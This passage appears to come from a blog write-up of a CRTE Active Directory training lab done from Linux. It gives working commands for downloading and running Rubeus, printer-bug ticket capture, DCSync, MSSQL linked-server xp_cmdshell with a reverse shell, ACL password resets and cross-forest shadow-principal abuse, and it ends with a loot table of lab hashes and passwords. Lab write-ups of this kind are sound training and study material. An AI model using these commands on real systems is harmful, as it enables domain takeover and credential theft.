Set up Rubeus monitor on US-WEB:

1
evil-winrm -i us-web -u webmaster -p '0wnerOftheIntraNetz!'
1
2
iwr -Uri "http://192.168.100.28:80/Rubeus.exe" -OutFile "Rubeus.exe"
.\Rubeus.exe monitor /interval:5 /nowrap

Trigger the printer bug targeting USVENDOR-DC:

1
2
3
python printerbug.py \
    us.techcorp.local/studentuser28:[email protected] \
    US-WEB.us.techcorp.local

TGT for USVENDOR-DC$ captured. Convert and use:

1
2
3
echo "<base64_ticket>" | base64 -d > DC_ticket.kirbi
impacket-ticketConverter DC_ticket.kirbi DC_ticket.ccache
export KRB5CCNAME=DC_ticket.ccache

DCSync USVENDOR.LOCAL:

1
2
impacket-secretsdump -k -no-pass USVENDOR-DC.USVENDOR.local \
    -just-dc -outputfile DCSync -pwd-last-set -user-status -history

USVENDOR.LOCAL compromised.

1
2
Administrator:500:...:67ad980708fe40f846c9397ec051020b:::
krbtgt:502:...:335caf1a29240a5dd318f79b6deaf03f:::

DB.LOCAL: MSSQL Linked Servers

US-MSSQL has linked servers configured. We can discover them with nxc:

1
2
nxc mssql us-mssql.us.techcorp.local \
    -u studentuser28 -p DNzx8jgndLqpWXN1 -M enum_links

To interact with the MSSQL service, I used constrained delegation with the -altservice flag to swap the service to MSSQLSvc:

1
2
3
4
5
6
7
8
impacket-getST \
    -spn CIFS/us-mssql.us.techcorp.local \
    -impersonate Administrator \
    us.techcorp.local/appsvc \
    -hashes ':1d49d390ac01d568f0ee9be82bb74d4c' \
    -dc-ip 192.168.1.2 \
    -altservice MSSQLSvc
export KRB5CCNAME='Administrator@[email protected]'

Used mssqlpwner to enumerate the links:

1
2
3
mssqlpwner \
    us.techcorp.local/studentuser28:[email protected] \
    -windows-auth enumerate

Connected with impacket’s mssqlclient (using a modified fork that supports linked server crawling):

1
2
python3 ~/CRTE/mverschu-impacket/examples/mssqlclient.py \
    US/studentuser28:'DNzx8jgndLqpWXN1'@192.168.1.56 -windows-auth
1
crawl_links

Got command execution on DB-SQLPROD via xp_cmdshell through the linked server:

1
xp_cmdshell_link DB-SQLPROD whoami

Set up a listener on Kali and got a reverse shell by sending a PowerShell encoded payload through the linked server:

The link chain looks like this:

1
2
3
US-MSSQL (us.techcorp.local)
  └─> DB-SQLPROD (192.168.23.25) - linked as "dbuser" with sysadmin
        └─> DB-SQLSRV (db.local) - linked as "sa" with sysadmin

On US-MSSQL, our student user has non-sysadmin access, but the link to DB-SQLPROD runs as dbuser which is sysadmin. That’s why xp_cmdshell works on DB-SQLPROD but not on US-MSSQL directly.

Getting a Shell on DB-SQLSRV

The link from DB-SQLPROD to DB-SQLSRV uses the sa account with sysadmin. But xp_cmdshell isn’t enabled on DB-SQLSRV by default, and the link doesn’t have rpc_out enabled either. To fix this, we need to use the shell on DB-SQLPROD to enable RPC Out and xp_cmdshell on the DB-SQLSRV link:

1
2
3
4
Invoke-SqlCmd -Query "exec sp_serveroption @server='db-sqlsrv', @optname='rpc', @optvalue='TRUE'"
Invoke-SqlCmd -Query "exec sp_serveroption @server='db-sqlsrv', @optname='rpc out', @optvalue='TRUE'"
Invoke-SqlCmd -Query "EXECUTE ('sp_configure ''show advanced options'',1;reconfigure;') AT""db-sqlsrv"""
Invoke-SqlCmd -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT""db-sqlsrv"""

After this, we can execute commands on DB-SQLSRV through the nested link and get a reverse shell there. The shell on DB-SQLSRV runs as srvdba in the db.local domain.

I forgot to take detailed notes on this part, but the steps from here are described in the DBVENDOR.LOCAL section below. ;)


DBVENDOR.LOCAL: Cross-Forest ACL Abuse + FSP Privilege Escalation

From the reverse shell on DB-SQLSRV (running as srvdba in db.local), we can enumerate the forest trusts. db.local has a bidirectional trust with dbvendor.local.

GenericAll on dbXsvc

By enumerating ACLs across the trust, we find that srvdba has GenericAll over dbXsvc user accounts in dbvendor.local. GenericAll means full control over the object, so we can do anything: reset the password, set an SPN for targeted kerberoasting, or write to any attribute. The simplest approach is to just reset the password:

1
Set-DomainUserPassword -Identity dbXsvc -AccountPassword (ConvertTo-SecureString 'Password@123' -AsPlainText -Force) -Domain dbvendor.local -Verbose

Now we control the dbXsvc account in dbvendor.local.

Foreign Security Principals -> DB-DC Admin

Now here’s the payoff. By enumerating Foreign Security Principals (FSPs) in db.local, we find that those dbXsvc accounts from dbvendor.local are members of the built-in Administrators group on db.local. FSPs are how Active Directory represents users from trusted foreign domains in local groups. In this case, someone added [email protected] to db.local’s Administrators group, probably for some cross-forest management task.

So the chain is:

  1. Reset dbXsvc’s password in dbvendor.local (we have GenericAll via srvdba)
  2. Use dbXsvc credentials to access DB-DC.db.local (it’s in the local Administrators group via the FSP mapping)
1
winrs -r:db-dc.db.local -u:dbvendor\dbXsvc -p:Password@123 "whoami"

DB.LOCAL and DBVENDOR.LOCAL compromised.


BASTION.LOCAL + PRODUCTION.LOCAL

Bastion.local via Trust Abuse

With the techcorp.local DA hash, we can reach bastion.local through the forest trust. First, I needed a TGT as techcorp.local Administrator to authenticate to bastion.local’s DC:

1
2
3
impacket-getTGT techcorp.local/administrator \
    -hashes ':bc4cf9b751d196c4b6e1a2ba923ef33f' -dc-ip 192.168.1.1
export KRB5CCNAME='administrator.ccache'

This requests a TGT from techcorp.local’s KDC using the Administrator hash. With this ticket loaded, we can authenticate to bastion.local because of the forest trust between the two domains.

I collected BloodHound data:

1
2
3
4
5
./kerb_auth.sh bastion.local 192.168.101.1
rusthound -d 'bastion.local' -i 192.168.101.1 \
    -u '[email protected]' \
    -f 'bastion-dc.bastion.local' \
    -k -z --fqdn-resolver

Now to DCSync bastion.local, I again requested a TGT as techcorp.local Administrator (tickets expire, so you often need to re-request them), set it as the active credential, and ran secretsdump:

1
2
3
4
5
impacket-getTGT techcorp.local/administrator \
    -hashes ':bc4cf9b751d196c4b6e1a2ba923ef33f' -dc-ip 192.168.1.1
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass bastion-dc.bastion.local \
    -just-dc -outputfile DCSync -pwd-last-set -user-status

The reason we can DCSync a foreign domain is because techcorp.local Administrator, through the forest trust, has administrative rights over bastion.local. The trust relationship grants the necessary replication permissions.

BASTION.LOCAL compromised.

1
2
Administrator:500:...:f29207796c9e6829aa1882b7cccfa36d:::
krbtgt:502:...:e09f0cd113a70c0bd564d0bb0c228380:::

Shadow Principals and PAM Trust -> PRODUCTION.LOCAL

With bastion.local DA hash, I collected BloodHound data from production.local. Again, first request a TGT, then use it:

1
2
3
4
5
6
7
impacket-getTGT bastion.local/administrator \
    -hashes ':f29207796c9e6829aa1882b7cccfa36d' -dc-ip 192.168.101.1
export KRB5CCNAME='administrator.ccache'
rusthound -d 'production.local' -i 192.168.102.1 \
    -u '[email protected]' \
    -f 'PRODUCTION-DC.PRODUCTION.LOCAL' \
    -k -z --fqdn-resolver

The key here is Shadow Principals. bastion.local is configured as a PAM (Privileged Access Management) trust forest for production.local. Shadow Principal objects in bastion.local map bastion users to production.local SIDs. This is a Microsoft feature designed for secure administration of production forests from a hardened bastion forest, but if you compromise the bastion, you get production for free.

I queried the Shadow Principal Configuration using ldapsearch:

1
2
3
4
5
ldapsearch -H ldap://192.168.101.1 \
    -Y GSSAPI \
    -b 'CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local' \
    '(objectClass=msDS-ShadowPrincipal)' \
    msDS-ShadowPrincipalSid member name

This tells us that the bastion.local Administrator is mapped as a shadow principal to production.local, meaning we can access production.local using bastion.local Administrator credentials.

1
2
3
nxc smb production-dc.production.local \
    -u administrator -H 'f29207796c9e6829aa1882b7cccfa36d' \
    -d bastion.local -X whoami

PRODUCTION.LOCAL compromised via PAM Trust shadow principals.


Loot Table

Here’s the full credential dump from the entire engagement:

User Password/Hash Access
serviceaccount Password123 Kerberoastable account
SUPPORT28USER Desk@123 (changed) Force password change
mgmtadmin e53153fc2dc8d4c5a5839e46220717e5 GenericWrite to US-HELPDESK
helpdeskadmin 94b4a7961bb45377f6e7951b0d8630be Local admin on US-ADConnect
adconnect 4e150424ccf419d83ce3a8ad1db7b94a ADConnect service account
Administrator (US-MAILMGMT) #gH0hRoG%CccS5 LAPS password
provisioningsvc 44dea6608c25a85d578d0c2b6f8355c4 Can read gMSA for jumpone$
jumpone$ 4636eee3131055e54e9c0cbded216ff5 gMSA, local admin on US-JUMP1
pawadmin 36ea28bfa97a992b5e85bd22485e8d52 ADCS ESC1 enrollment rights
webmaster 23d6458d06b25e463b9666364fb0b29f / 0wnerOftheIntraNetz! Local admin on US-WEB (unconstrained delegation)
appsvc 1d49d390ac01d568f0ee9be82bb74d4c Constrained delegation to US-MSSQL
dbservice Us$r4RunningSQLSvc MSSQL service account
Administrator (us.techcorp.local) 43b70d2d979805f419e02882997f8f3f Domain Admin
krbtgt (us.techcorp.local) b0975ae49f441adc6b024ad238935af5  
Administrator (techcorp.local) bc4cf9b751d196c4b6e1a2ba923ef33f Enterprise Admin
krbtgt (techcorp.local) 7735b8be1edda5deea6bfbacb7f2c3e7  
MSOL_16fb75d0227d c1db8cdcb7a89f56dd00b77e384c2c9c ADConnect sync account
storagesvc (eu.local) Qwerty@123 Constrained delegation to EU-DC
Administrator (eu.local) fe422f818eb7e9c6de5862d94739c2e4 Domain Admin
Administrator (usvendor.local) 67ad980708fe40f846c9397ec051020b Domain Admin
Administrator (bastion.local) f29207796c9e6829aa1882b7cccfa36d Domain Admin + Shadow Principal to production.local

Final Thoughts

This lab was a great experience. Doing it entirely from Linux forced me to deeply understand the underlying protocols rather than relying on GUI tools or PowerShell magic. Every Kerberos ticket manipulation, every LDAP query, every NTLM relay had to be understood at the protocol level because the Linux tools expose those details.

A few things I learned along the way:

lsassy is essential for active sessions. If a user logged in interactively and their creds are still in LSASS memory, you need to dump LSASS. lsassy does this remotely from Linux and integrates perfectly with nxc as a module.

The krb5.conf helper script saves time. When you’re jumping between 8+ domains and forests, manually editing krb5.conf every time gets old fast.

Ticket format conversion is a solved problem. impacket-ticketConverter handles kirbi to ccache seamlessly. The workflow of capturing tickets with Rubeus on a Windows target and converting them for use with impacket on Linux is smooth.

bloodyAD is underrated. For ACL abuse, group manipulation, and LAPS reads, bloodyAD is incredibly clean and fast from Linux. It handles the LDAP operations natively without needing PowerView.

RustHound works great for cross-forest collection. Being able to collect BloodHound data from foreign forests using just a Kerberos ticket was essential for mapping out attack paths in domains I had no plaintext credentials for.

If you’re thinking about doing CRTE and you come from a Linux background, don’t hesitate. The lab is absolutely doable from Linux, the exam is doable from Linux, and you’ll come out of it with a much deeper understanding of the protocols that make these attacks work.

This post is licensed under CC BY 4.0 by the author.